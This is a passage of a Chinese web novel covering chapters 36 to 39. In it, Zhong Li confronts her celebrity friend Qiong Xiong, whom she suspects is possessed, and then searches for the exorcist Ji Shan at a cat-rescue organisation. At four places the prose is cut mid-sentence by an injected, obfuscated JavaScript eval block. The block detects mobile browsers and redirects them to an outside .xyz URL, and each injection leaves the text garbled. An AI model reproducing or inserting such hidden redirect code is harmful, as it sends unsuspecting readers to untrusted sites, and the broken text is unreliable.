琼芎嘴角抽动,扯出一个笑容,“我在气头上嘛,野猫又发情了,叫声烦人得很。不小心就碰了它一下。”
钟励感觉琼芎的体温在回暖,没有一开始像尸体一般冰凉了。她点点头,也不知道对于琼芎的解释理由是接受了没有?
“冷吗?那我们回去吧。”她手指摩挲琼芎左手大拇指上的一道浅浅的疤痕。这还是琼芎大学时期在救助学校野猫的时候不小心被抓伤的。
她当时面对野猫的发情,态度跟现在截然不同。
“我觉得野猫发情它自己也是很无奈的,它出于生物本能,无法控制自己。”
琼芎打工的一部分薪资,都捐给了救助小猫的社团,用来做绝育了。
人是会变化的吗?
钟励低下头,她看着琼芎大拇指上的浅浅伤疤,又抬起头去看琼芎完美的侧脸。
“怎么了嘛?”琼芎有所感觉,问道。
“没有,就是……在想晚上吃什么?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686490|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“这还不简单,你想吃什么?我给你点外卖。”
“再说吧,你先忙工作。”
---
今天的拍摄部分结束后,琼芎还有一个采访。
在琼芎的休息室里,简单布置了一下,在镜头里看来环境还算简约。
琼芎对面的记者手上拿着稿子,镜头并不对准她。
“可以开始了吗?”她看了一遍稿子后问道。
“可以开始了。”琼芎补妆结束,轻轻点头回答。
记者问的几个问题都是常规的关于正在拍的戏份的事情,琼芎保持甜美微笑,按照之前公司给的答案,一一完美回答了。
但流程并不都是按照大纲来走,记者“啪”一声,将稿子背对着放在大腿上。
“请问琼芎是为什么会想当明星,走演艺圈这条路呢?”一个脱稿的问题。
琼芎低头思考了几秒,似乎是陷入了回忆,接着她面对镜头,说道:“因为我想得到所有人的关注。”
钟励也在休息室里,作为琼芎的助理身份。她刚好站在镜头后面,所以琼芎每次扫过镜头的时候,都能看到她。
琼芎的答案出乎意料,记者倒是很感兴趣,脸上笑容深了几分,希望让琼芎说下去。
“当明星的话,只要你红,你的广告牌无所不在,一定就会吸引别人的目光,无论任何人。”
“而且,我跟一个朋友有约定,我会帮她吸引所有的视线,让她不用在意别人的眼光,做自己想做的事情。”
说这段话的时候,琼芎眼睛看着镜头,目光坚定。
“哦?那这位朋友是……”记者表情戏谑,或是觉得有绯闻可挖。
琼芎失笑摇摇头,“是多年好朋友了。同性好友。”
她着重强调后面四个字,记者露出遗憾的表情。
“好吧,那最后一个问题。琼芎最想做的事情是什么?”
“最想做的事情吗?”琼芎重复了一遍记者的问题,其他难题她都没有卡壳,但如此简单的问题,她却足足思考了半分钟。
“我想,过个年。”
答案合理又意外,只听她接着解释道:“我出道以来一直在忙工作,很少有休息的时间,我想今年可以安安静静过个年。”
“确实啊,年关将近,不如……”记者接着琼芎的话,插播了一段广告,很硬的广告。
在回去的车上,钟励跟琼芎原本是两个人各坐在车窗边,琼芎缓慢移动,坐到了中间,她歪头,跟小孩子讨要糖果一样:
“我今天的工作表现还可以吧。我做得很不错吧。”
钟励配合鼓掌,“绝了,不愧是女明星,美貌智商情商都在线。”
“那……你今年回家过年吗?你前几年都没回去吧。”
琼芎这话说的也没错,新年是一年当中最重要的节日了,钟励她好几年都没回去,今年肯定得回去。毕竟成人出来工作后,跟家人过年的次数,就是一次一次在减少。
“回去啊,我当然回去。”于是钟励肯定回答道。
钟励双手放在大腿上,手指交缠,她忽而看看窗外,忽而又低头看向自己的掌心,她张了张嘴似乎是说话,但几次又都给咽了回去。
“琼芎。”终于她还是开口了,只是声音低哑又深沉。
“我想问你一个问题。”
“好啊,你问吧。”琼芎放下手机,认真倾听。
钟励也转过头,表情严肃,她仔仔细细打量了一遍琼芎的脸,从额头看到下巴。
“你到底是谁?”
36. 第 36 章
钟励紧盯着琼芎,但车里灯光昏暗,她怎么也看不清。
琼芎扯出一抹笑容,她转过脸,高挺的鼻梁把脸一分为二,“你在说什么?是说我今天演得特别好吗?以至于我入戏了没有跳出角色。”
持续用眼让钟励眼睛疲惫,她眨了眨眼睛,心里莫名恐慌。她承认,在琼芎否认的时候她松了一口气,她无法想象琼芎直接承认的情况。
可是,人只有听懂的情况下,才会故意偏题。
“琼芎呢?你不是她吧。”
钟励猛地一转头,眉头紧皱,右手放在车门的把手上,准备随时逃跑。
“你说什么?”正好是红灯,她们的车子在前列,红色的光线恰映照照到琼芎的脸上,像一道可怖的血流。
“车门是锁着的,就算没锁,你突然跳出去,会受伤的。”
琼芎的眼神直直看向钟励的身后,她藏着的右手。
钟励松开了握着车门把手的右手,逐渐收紧握成拳头。她偏过头,没有对上琼芎的视线,说道:“我没有这个打算。”
“没有伤害自己身体的打算就好。”琼芎往后仰,双手抱胸,她闭上眼睛,轻声说。
“嘀嘀嘀。”窗外车水马龙,车内两人缄默不语。
钟励突然又想起琼芎对纪善的刻意针对,她掀起眼皮看了一眼旁边的人,琼芎在闭目养神,嘴巴抿得紧紧的。她虽然以笑容甜美出名,但她不笑的时候,完全是冷酷的风格。
“那个,纪善的事情,是你干的吗?”
琼芎眼睛还是紧闭,听到钟励的话挑眉,蔷薇色的嘴巴轻启:“你说的,难道是那个被前女友找上门,还被拍上网,然后火了一把的人吗?”
怎么还是阴阳怪气的?钟励挠了挠下巴,不小心碰到新长出来的痘痘,咬唇倒吸一口冷气,缓了几秒她才开口:“那不是你找人干的吗?”
可别想骗过她,她心里有数的,都想明白了。
琼芎不置可否,她摊摊手,“苍蝇不叮无缝的蛋,要是那个什么纪善洁身自好,不沾花惹草,谁能败坏他的名声?”
强词夺理,钟励纳闷。可琼芎再接再厉,只听她接着说:“怎么?你也是他……广-阔-的鱼塘的一条鱼吗?”
琼芎说到“广阔”两个字的时候,声音怪异,音调刻意拉长,还伸出双手往两边比划。
钟励无奈叹气,“他不是你说的……”这样。
琼芎跟她异口同声,讲出了相同的两句话,害钟励都没把话说完只能停嘴。
见钟励住嘴了,琼芎就开口了:“你看看,还说你不是被养鱼了,就这么替他说话了,还是在跟你最好的朋友吵架。”
“你喜欢他?”琼芎把头凑过来,钟励都能看到她根根分明的下睫毛了。
“我没有。”钟励当然是开口否认,就算真的有好感,这时候也不能承认,不然真就像琼芎说的那样了,吵架会落入下风的。
她吵架一定要占据优势,不能输。
“没有的话,那你刚刚为了他跟我吵架?认识十几年的好朋友,比不上一个认识几个月的男人吗?”
这话说得她好像见色忘友一样,她可不是那种有喜欢的男生了,就把朋友抛之脑后的人。
钟励耐心解释:“我没有为了他跟你吵架,我只是在问一件客观事实。那两个找上门的女生,是不是你找的人?”
“是。”琼芎的肯定回答倒让钟励哑口无言了,好理直气壮。钟励的右手在空中挥了几下,她嘴巴张了张,没说话。
琼芎趁着气势反过来质问低头的钟励:“你为了一个认识不久的男人,质问你的多年好友,他在你心里的地位已经超过我了是吗?他的积分系数是多少啊?乘以两三个月总积分就越过我了是吧?”
钟励几次想开口,都被气势汹汹的琼芎给压了回去,最后干脆摆烂听她说完得了。
果然进演艺圈当演员了就是不一样,嘴皮子都溜了不少,怼人是一套又一套的。
“才认识多久,你就丧失理智了。爱情是什么样子,我在演艺圈看得最清楚了。他们拍戏,一上来就亲嘴的,拍戏结束就跟分手了一样,虽然在一起的时候也没有什么名分。爱是可以演出来的,你能分清楚吗?什么是真的什么是假的?”
钟励发现,比起被说见色忘友,她显然更在乎被说没有分辨的能力。
她弱弱冒出一句:“我还是很有能力的好吗?求职租房,一桩桩一件件,不会的我就自学,我能力是达标的好吗?”
虽然她一开始找的工作不太行,找的房子也有踩雷的地方,但是她好歹都做成了,已经很了不起了。
“什么?哦,那你看男人的眼光不行。”琼芎只是惊讶于钟励的脑回路,于是她换了一个钟励不太介意的方面开始说了。
“而且,你天天宅在家里,难道好桃花会入室抢劫吗?这种天上掉馅饼的,都是坏事。”
琼芎这番话确实说到钟励心里去了,要是她一开始不清楚纪善的身份,可能真的会被说动。可纪善的身份她又不可能随便说出去,谁会相信呢?万一被人误会她打工失心疯了,被送进精神病院怎么办?
见钟励神色动容,琼芎又添了一把柴火:“男人可能会骗你,但我们认识多年,我不会骗你的。我一开始找人也只是为了试探他而已,没想到他道行这么深的,藏得这么好。”
?道行深跟这有什么关联吗?也可能纪善就是清白的呢。
但钟励知道这话不能说出口,不然她可能会面临两个人掉进水里救谁的问题。
“我只是害怕你会上当而已,你不会怪我的吧。我也是太着急了一点儿。”
琼芎搭上钟励的左手,冰凉的手又变得温暖了,她手上还有一点点茧子,摸起来有点粗糙。琼芎也并不是养尊处优的女明星,她干活还是很利索的。
虽然钟励感觉琼芎有点变了,但也可能是几年没接触后发生的改变。社会太复杂,任何变化都是有可能的。她不能太强求对方像学生时代一般单纯,那也不现实。
“抱歉,我不应该质问你的。”钟励向琼芎道歉,她已经忘了一开始要说什么了,好像被带偏了,但就这样吧,她不想跟好朋友吵架。反
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717322|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正在这场争吵当中,受伤的人只有纪善。
琼芎将钟励送回酒店后就离开了,之后的几天都没再见面,像是躲着人一样。
钟励已经无所事事呆在酒店好几天了,每天就是起床点外卖,玩手机,然后再点外卖,最后晚上洗漱睡觉,十分单一。虽然她很喜欢这种蛀虫一般的生活,但她这次来是干活的,她可没忘答应了要当琼芎的助理。
钟励:【在否?】
琼芎:【人言?】
钟励:【我什么事去上班啊老板?不会要撤回给我的offer吧。】
发完后,钟励感觉嘴巴很无聊,所以给自己点了一杯奶茶。她还是注重健康的,所以点的无糖牛乳茶,寡淡但是健康。
都喝奶茶了还要健康?是的,假装一下,万一骗过自己的身体了呢?
过了会琼芎才回复:【给你吃空饷,职位保留,工资照发,人不用来。】
钟励:【这关系户是不是走得太硬核了一些?我怕受不起。】
待遇很好,但钟励还是希望跟琼芎站在一个平面上。她要是一直受琼芎的好,不还礼也不合适。
说是什么吃空饷,但应该就是每个月给她打钱吧。亲姐妹还要明算账呢,她可不能一直不明不白占人家便宜,虽然这点钱对琼芎来说不多,可能就是毛毛雨。但钟励很有原则的,主要是一段感情要想持续发展下去,必然不能其中一方的付出要远远多于另一方。
这样天平只会倾斜,以至于失去平衡,将上面的砝码摔得支离破碎。
钟励:【那我先走了,留在这里我也没事干。】
琼芎:【一路顺风。】
【转账60000元.】
【路费,路上买点好吃的,别饿着自己。】
钟励没有收,她无奈扶额,搞得她好像没有能力自理一样,琼芎出门前还要给她的脖子上挂一个大饼,怕她饿死。
钟励上飞机之前就给纪善发了消息,他年纪指不定多大了,可能知道琼芎的异样呢,也可能不是经过社会的毒打才变的,也许有其他原因。
但直到钟励登机了,纪善都没有回复她。
几个小时后,钟励顺利降落抵达机场,纪善还是没有回复。她打了一辆车,手机紧攥在手中,忽然感觉到手机震动,她刚想问纪善去哪里了?为什么不回消息?结果发现是她关注的咖啡公众号发的消息。
钟励长长呼出一口气,闭上眼睛闭目养神,就算纪善现在发消息,她也绝不秒回了。
但直到钟励拖着行李箱回到小区楼下搭乘电梯,都没有收到回信。
“叮”的一声,电梯门打开,钟励米白色的行李箱远远看着还算白净,但近看已经沾染一些污渍了。
“纪善?你现在才回来?”
钟励一出电梯门,就看到纪善站在他家门口,行色匆匆的,也像是刚刚回来。可能就是隔壁的电梯,比她早了几秒钟。
纪善神色沉重,眉毛微蹙,定定看了她足足半分钟才开口说话:“你身上的恶怨非常浓,我快要看不清你的五官了,你跟谁见面了吗?”
37. 第 37 章
“谁?没有吧。”
钟励语调奇高,刻意加大音量是一种虚张声势。她没站直,偶尔重心在左脚,偶尔在右脚。
“可能是刚刚从机场打车跟司机吵了一架引起的情绪波动吧。我说我赶时间要走,司机说再拼一下车,我可是打的独享啊。你知道的,这种情况下不生气是不可能的。”
她手上动作不停,跟变魔术一样,手指灵活,吸引视线,不时还看着纪善的眼睛,让他认为自己没有说谎。
说话的语序都有点倒装了,小动作也像,眼神时而飘忽,时而坚定。
果然说解释多的就是心虚,她以往也不解释这么多。
“哦这样,其实你也不用跟我解释这么多的。”纪善果然知道这不对劲。
钟励伸手摸了一把鼻子,悻悻道:“我没有讲很多的吧,其实我平常话也多的。”
钟励心里隐隐有种猜测,她身上恶怨来自琼芎。
纪善之前也问过同样的问题,那个时候她刚刚见过琼芎,猜测八九不离十了。
可是琼芎身上要真的有恶灵,那会怎么样呢?会影响到琼芎吗?
“那你先进去休息吧,刚下飞机很累。”
纪善没再追问,毕竟他是见识过钟励身上的异样的,很奇怪但没有办法解释。
“哦,好好。”
钟励下意识点点头,可她脚尖移动,对着纪善那边,显得有话要说。
“那个……”钟励心中还没打好草稿,还不知道怎么问,但看到纪善快回去了,只能立刻开口叫住他。
她眨了眨眼睛,眼珠子转了一圈,试探开口道:“要是你抓到恶灵了,接下来会怎么做呢?”
此话一出,精神萎靡的纪善忽然转过头来,那速度之快钟励都怕他扭到脖子。
“你知道恶灵在哪里?”
钟励对上纪善的视线,三秒后她转移目光,摸了摸脖子。
“没有,就是看你一直说,有点好奇而已。”
琼芎跟纪善之间,要是非要选一个,钟励毫无疑问会选择琼芎。
在她理清所有的事情之前,她不会透露有关琼芎的异样。
纪善锋利的气场减弱了些,又恢复了平日里的温和。
他回答道:“我会杀了他。”
很简短,却铿锵有力。
“这样子啊。”钟励点点头,握着行李箱把杆的手却不自觉收紧。
她闭上眼睛叹了一口气,咬牙道:“没有别的办法了吗?”
她看过很多小说,或许有其他方法,可以让恶灵迷途知返,要不然就将恶灵从琼芎身上剥离下来。
见纪善投来怀疑的目光,钟励又补充道:“当然我说的是假如。而且,要是恶灵附身在一个普通人身上,普通人受无妄之宅,只能凄惨死去,岂不是很可怜?”
对于钟励的说法,纪善有不同的观点。
“恶灵不会随意寄生在善灵的普通人身上,他一定会去寻找产生过邪念的人,并且可能是付诸行动的。一般来说,这个被寄生的普通人,通常并不无辜。”
钟励张了张嘴,不知道说什么?她狐疑看了一眼纪善,“你确定你说的一定正确的吗?”
倒不是她抬杠啊,纪善的话根本没有完全的例子去证明,再说了他说的是“通常”,又不是“一定”。可能琼芎就是那个例外啊。
纪善也不服了,他在钟励面前对于恶灵的事情,算是多年的老前辈,甚至他就是唯一的权威,敢于质疑权威很好,但是现在先不要质疑。
纪善当然也不是一刀切的人,他轻轻点了点头,“我不会滥杀无辜,如果被寄生的人还能救回来,我自然是愿意的。”
“我向你保证,除非关键时刻,我不会轻易动手。”
他温和眼神底下像是潜藏着一把锐利的刀,只要发现机会,就能一刀毙命。
向她保证?为什么要向她保证,除非纪善知道,她认识所谓被寄生的人。不然何必说这番话。
钟励喉头滚动,咽了下口水,她耸耸肩,“这是你的工作,你看着办就好,跟我说我也不懂。”
说罢,钟励拎着行李箱,“嘀嘀嘀”几下按下密码锁,“咔哒”一声,门打开了。
“等一下。”
在关门之前纪善叫住了她,“等等。”
钟励听到他喊出的那一刻,汗毛竖起,心脏扑通扑通快从身体里跳出来了。
“还有什么事吗?”她都破音了,说完后赶紧咳了几声,清清嗓子。
钟励站在门后,门关上了一大半,留出一小段缝隙,只见一只骨节分明的手伸了进来,皮肤表面显露出性感的青筋。纪善递进来一本笔记本,就是之前跟在钟励后面,怎么也甩不掉的笔记本。
纪善就这样从门缝递了过来,也没有往里面走动推开门,两个人之间只隔了一扇没关紧的门。阳光照在纪善的身上,钟励低头看着地上他的影子,说话的时候动作起伏不大。
“我觉得你身上的恶怨浓度高到离谱了,但我灵力衰微,目前也看不出来。我手上的功德簿可以制约恶灵,你要是遇上危险,可以用它防身。”
钟励接过笔记本,应该叫功德簿才对,很有重量的一本书,她掂量了几下,又愧疚又好笑:“那我……用来砸人的?我不会用这玩意啊。”
她是真心觉得愧疚,她欺骗着纪善,可是纪善依旧维持正人君子的风范,还将武器给了她。
可她也是没有办法,要是有一个办法可以两全就好了。
“不是。”纪善轻笑出声,钟励从地上门缝透过来的影子看到他略微摇摇头,蓬松的头发也跟着晃动。
“它还有一个功能,可以让人保持清醒。你浓度太深,希望不会被吞噬理智。”
---
自从那日纪善把功德簿给了钟励以后,就消失不见踪影了,发消息也不回,钟励去阳台看,隔壁一点儿动静也没有,就跟主人没有在家一样。
要是报失踪人口,不知道有没有用。纪善他有正常人身份吗?
钟励又等了两天,还是不见纪善的影子,她有些坐不住了。她还想问有关恶灵的事情呢,寻找解决办法。
她甚至都去问琼芎了,感觉她会清楚纪善的下落。
钟励:【忙吗?】
琼芎:【放。】
虽然琼芎回复简短,但秒回。钟励扯过床头的充电线,还剩3
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745268|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
0%了。她一边感受着手机逐渐升温,一边啪啪啪打字。
钟励:【那个,你知道纪善去哪里了吗?有他的消息吗?】
她越想越不对劲,给她功德簿怎么越看越像托孤啊。不会真的有事情吧?
“嗡嗡嗡”手机震动,琼芎的消息弹出。
琼芎:【不知道,可能是死在那个角落里了吧。】
【像那种不自爱,欺骗别人感情的人,被一刀砍死在某个角落也很正常。】
钟励无奈,端起床头柜上的水杯喝了一口,已经放凉了,喝下一口直接从口腔凉到胃里。
虽然她已经揭穿了琼芎之前栽赃纪善的事情,可是某人好像并不在意。
这一条路也行不通,钟励咕咚咕咚喝完杯子里的水,感觉午饭都不用吃,光喝水就撑死了。
还有最后一个办法,钟励掀开温暖的被窝,穿着拖鞋走到玄关处。她一把拉开抽屉,里面摆放着纪善托孤给她的功德簿。
“哎,我问你,你能找到你主人吗?”
钟励说出声的那一刻也被自己逗笑了,就算病急乱投医,也不能傻到跟一本书说话吧。
下一秒,功德簿自己翻了页,洁白的纸张上慢慢浮现出两个字:可以。
没想到还真可以,钟励捧起功德簿又问道:“那怎么找呢?”
“可以”两个字消失了,然后就是一阵沉默,钟励眼睛都少眨了很多下,生怕错过一点线索,可直到她脚底板都站疼了,都没再浮现什么字。
钟励转身45度,轻轻靠在柜子旁,失笑道:“疯出幻觉了。”
她把功德簿又放了回去,即将关上抽屉的时候,功德簿翻页了,是一个方向指示,跟她手机上的地图软件一样。
钟励手上拿着功德簿,围着屋子转了一圈,她一般在外面找路也是这么做的,确认方向。
她换好衣服后,捧着功德簿就出门了,每次遇到要拐弯的路口,至少转半圈再次确认方向。
路人偶尔投来奇异的目光,但大部分人都以为她可能在搞行为艺术吧。
钟励绕了好久,终于走进了崎岖的小路,没想到带点玄学的东西跟智能一样,不太好用。
她循着功德簿的指引,来到了一处偏僻的居民楼,这栋房子像是建了有三十年了。外壁是蓝白色的瓷砖,表面沾染了很多褐色的污渍。
大门前还挂着一个木制的牌子,也是随手一写的字迹,飘逸轻松。
“此-处-有-岗-位。”钟励照着上面的字念了出来。
她皱眉深思,她只知道要是有楼挂牌子;“本栋有房出租”,那可能就是真实房东。
可挂着“此处有岗位”的也可以“同理可得”吗?这里有真老板?
“您好,你是求职的吗?”突然一楼有人推开了窗户,是一个娃娃脸的女生,她探出头来,脸上的红晕显示着她的好气色。
钟励迟疑点点头,“可是我没带简历。”
那女孩大手一挥,笑容爽朗,“我们不看这个,你有被抛弃的经历吗?”
“证明内容的格式最好是图片或者视频,图片的话每张图片大小要求2M以上,视频的话要三十秒以上。”
38. 第 38 章
好奇葩的要求。
钟励脱口而出:“有的。”
她深谙找工作的诀窍,面试官问你有没有,那就是有。哪怕你没有类似经历,也一定要编一个出来,不管能不能办到,先入职再说。刻入基因的求生欲让她下意识做出了反应,两秒后钟励才反应过来。
“额……”她思考了几秒,也没明白“被抛弃”是什么意思?
“请问‘被抛弃’是指?”
女孩拍了拍身上的衣服,对钟励说道:“你等我一下。”说完她关上了窗户。
没多久,女孩就从楼里走了出来,她推开楼下的生锈大门,笑容和善。
“进来吧。”
“直接进去吗?”钟励不由自主伸出一根手指,指了指昏暗的楼里。她还不知道这栋楼是搞什么的呢。这么偏僻又这么奇怪。万一是什么不好的地方,有什么奇怪的组织可怎么办?
她站在原地不动,女孩看出了她的迟疑,并没有露出不耐烦的表情,反而大手一挥将门推开到极限,用墙边的一块砖头卡住。
女孩拍了拍手上沾染的灰尘,转过身对钟励说道:“好啦,这样门就是开的。你要是觉得哪里不好,随时能跑出来。”
钟励半信半疑,可功德簿确实指引着这个方向。
“好,你走前面给我带路吧。”她快速点开手机,进入紧急呼救了页面。随后趁着女孩走在前面不注意,又从包里掏出一把小刀小心塞到外套的口袋里,并将右手伸进口袋,有突发情况随时拔刀。
女孩走在前面,不时回头看钟励跟上了没有,她留着齐肩短发,从后面看像一只可爱的蘑菇。
钟励一边走一边观察周边的环境。这栋楼旧是旧了一点儿,可没有很明显潮湿的味道。墙壁上贴的小广告都被人清理过,只残余一些实在清除不了的胶痕。地上也很干净,没有什么小垃圾。
钟励跟在女孩身后,上到二楼。
“到了。”女孩指着第一个门说道。
招聘?感觉不太正经啊。哪家公司会在居民楼里办公,太奇怪了吧。那岂不是还能员工自己做饭。
“吱嘎”一声,门从里面打开,走出来一个扎着低丸子头的女生,瓜子脸较为尖锐,全脸五官都偏锋利,眉毛往上挑。
“你刚刚去哪里了?都不见人影。”开口也是淡漠的语气,整个人偏冷。
短发女孩指了指钟励,说道:“我把面试的人带上来了,我们最近还挺缺人手的,好不容易有人来应聘了。”
“喵。”一只黑色的猫从低丸子头女生的腿边走过,黑猫的眼睛是青翠的湖绿色,很清澈,它脸圆圆的,一边喵还一边歪头蹭人。
“怎么出来啦?”那个被钟励打上“冷”标签的女生,一手抱起黑猫,揉揉它的脑袋,语气十分温柔,像是可以滴出蜜来。
短发女孩向钟励介绍,她们是一家救助流浪猫的公益性组织,主要工作内容就是负责流浪猫的救助、绝育和领养工作。
钟励走近门几步,伸着头往里面看,确实没错。好多只猫在里边,一半在睡觉。
“这样子,明白了。”她的戒心稍稍减弱,但没有完全放下来。
“你先进来吧,我跟你说一下我们的岗位职责以及薪资待遇。”
从外面看来,里面的空间还挺小的。但走进去,就发现里面还有好几个房间。
“等一下,先消毒。”
短发女孩给钟励喷了两下酒精,又递给她鞋套。
“对了,我叫莫可。你叫我小可就行。”短发女孩自我介绍道。
钟励“啊”了一声,也做了自我介绍,“我叫钟励。这么叫就行了。”
她没有什么小名,从小到大所有人都是叫她全名的。
钟励跟这小可,艰难绕过几只粘人的猫咪,来到最里边的一间房。
只有一些基础的设施,沙发桌子什么的。最多的还是猫咪玩具,堆在了角落。
“你是怎么知道我们这里招人的?”小可问的第一个问题就让钟励不知道怎么回答来。她不知道啊,她跟着不靠谱导航功德簿乱走一通的。
“抱歉抱歉,我去给你倒杯水。”小可突然想起什么,飞速起身离开了,她出去后没有关上门,留了一条缝隙。
钟励也趁这机会掏出功德簿,指引方向的箭头已经消失了,替代的是一个黄色的小圆点,还一闪一闪的。这意思应该是她已经到达了目的地。
可是纪善呢?他变成猫了?这里的工作人员都是女孩子,没看到有男性啊。
没过几分钟,小可就回来了,还带着一杯温水。
玻璃杯与桌子发出清脆的碰撞声,水杯推到了钟励面前,她接过玻璃杯道谢:“谢谢,谢谢。”
但她没有喝一口。人来到奇怪的地方,基本的防备心还是得有,万一水里有东西怎么办?
“我们的工作内容很简单的,主要就是照顾小猫,生病了带去看病对适龄猫咪做绝育,然后就是领养工作。”
“我们的薪资的每个月五千,底薪五千,我们也没有什么KPI之类的,包吃包住。住宿就在这里,三楼有房间,每个人都是单间,不住在一起。朝十晚四,双休,不加班。有五险一金。”
钟励眨了眨眼睛,她发誓,这是她遇到的最好的工作了。一时大脑宕机,讲不出话来。
小可似乎误会了钟励,以为她嫌弃薪资低:“我们的薪资确实不高,但是工作内容也很轻松的。我们毕竟是公益性组织,薪资高不了的,要是你觉得条件待遇不合适,可以直接说出来的。”
合适,太合适了。她巴不得现在就入职,回去收拾她的行李。
可是公益性组织一般都是为爱发电吧,还能有这么好的待遇吗?绝对有蹊跷吧。
于是钟励直接开口问了:“抱歉哈,我有一个冒昧的问题想问一下。”
小可点点头,直言道:“没关系,有什么问题随便问。”
“你刚刚也说了,你们是公益性组织,那资金从哪里来啊?毕竟养猫绝育等一系列的费用还是很多的。”
就钟励的经验来说,一般这种组织都是只有精神激励,也就是成就感,但是没有什么物质奖励。
小可回答道:“因为我们投资人很有钱,所有的一切都是她出钱,只为公益,不为利润。”
“我们投资人姐姐超级好的,就是她比较神秘,很少会出现。”小可两眼放光很崇拜的样子。
“这样子啊。”钟励若有所思,确实也存在这种人呢。
她没忘记今天来这里的目的,她可不是为了找工作的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769706|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“可以带我转转吗?”看看能不能找到纪善。
“当然可以。”小可起身,示意钟励跟着她走。
端给钟励的水已经凉了,她还是一口没喝。
她们的基地一共占三层,第一层是小猫的场所,第二层是员工的住所,第三次是那个神秘的投资人的场地,算禁区,不能随便上去。
第一二层钟励都看了,没什么异样,看来就是第三层了。她得找个机会上去看看。
“对了,你们的招聘方式,就是在门口挂一个牌子吗?”
不是钟励看不起,这种效率实在是太低了吧,而且有哪个正常人会觉得这是一份正经工作。
小可尴尬笑笑:“我们是觉得不能浪费投资人姐姐的钱,在软件上开会员才能打招呼,而且还有次数限制,希望把钱花在刀刃上。”
“而且,我们之前是不缺人的,是小艺突然要辞职走人,还有思思请假了,我们才忙不过来的。”
“对了,那你要入职吗?”小可问了钟励最终的想法。
“当然,条件这么好,我肯定来啊。”钟励立刻点点头,绝不是这个工作很不粗,而是她身上有任务,还忙着找人呢。这叫潜伏。
“那就好,那方便背调一下吗?”
钟励承认听到小可这句话的时候心颤动了一下,没想到这类工作还要背调,她讪笑道:“额……这是必须的吗?”
她才跟上一家公司闹翻了,要是背调不知道得说她什么坏话。要不是她上二手网站找个人伪装是她上家公司HR好了。
“就是你有什么证据证明吗?你曾经受过伤害,被抛弃,最后封闭了心灵。”
钟励嘴角的笑容僵住了,那应该算是她临近毕业那段时间吧,突然被卷入一桩跟她无关的杀人案。也不知道为什么,所有周边和善的人突然转换了脸面,仿佛她真是凶手一样,明明官方都解释过了,就跟被下了降头似的。
小可见钟励沉默良久,又接着说:“抱歉,我们也不是故意引起你的伤心事的。可这是硬性要求,我们投资人要求的。你不用讲得太详细,有聊天记录啊,什么的就可以。”
说完她接着又补充:“我们只看你被对方删掉,红色感叹号的那一句话。就像我,也是被前男友抛弃了,他脚踏几条船,害我被小三。”
钟励沉浸在往事的思绪突然明朗,原来有不好的感情经历就可以。
她脑海中突然冒出一个绝佳想法,她解锁手机,找到前段时间保存下来的关于纪善在蛋糕店里被指认渣男的视频。
“你看,他就是我的前男友。他脚踏几条窗,甚至我还跟他在一起的时候,他的前女友就找上门了,你看看我多尴尬。”
钟励指着视频里的自己,两眼无神,表情呆滞。其实是因为她站太久累了,加上前一天晚上熬夜玩手机,才导致的。
对于钟励当时的麻木,她是这么解释的:“这是我的初恋,我是很珍惜的。所以对于这种情况,我毫无办法,也不知道怎么解决,所以看起来在发呆,但是我内心是很难过的。”
原本她这番话说服力一般,可纪善被指认时目光频频看向了她,这倒是强有力的证据。
小可满脸同情,拍了拍钟励的肩膀,“好,我宣布你入职了。”
39. 第 39 章
就这么简单?钟励还打算再说点其他的,没想到直接通过了。
“那我……现在入职?”
小可一脸惊讶:“其实你可以下周再来的,我很少见立刻要来上班的人呢。”
“不过既然你自己提出来了,那就可以吧。”
“但是现在还没有办法签合同呢,管这个的同事请假了,你过几天再签吧。放心,我会记住你来的日期,不会少工资的。”
小可接着又说了一些其他的注意事项,“她们没有打卡,来了就行。每个月一号发上个月的工资。”
钟励简直瞠目结舌,这跟做梦一样。还能有这种职场吗?
她掐了一把自己的脸,难道又跟之前一样的情况,她进入了什么幻境?这就是她幻想出来的美好世界。不过竟然都是幻想了,她怎么还在打工,而不是中彩票从此实现财富自由。
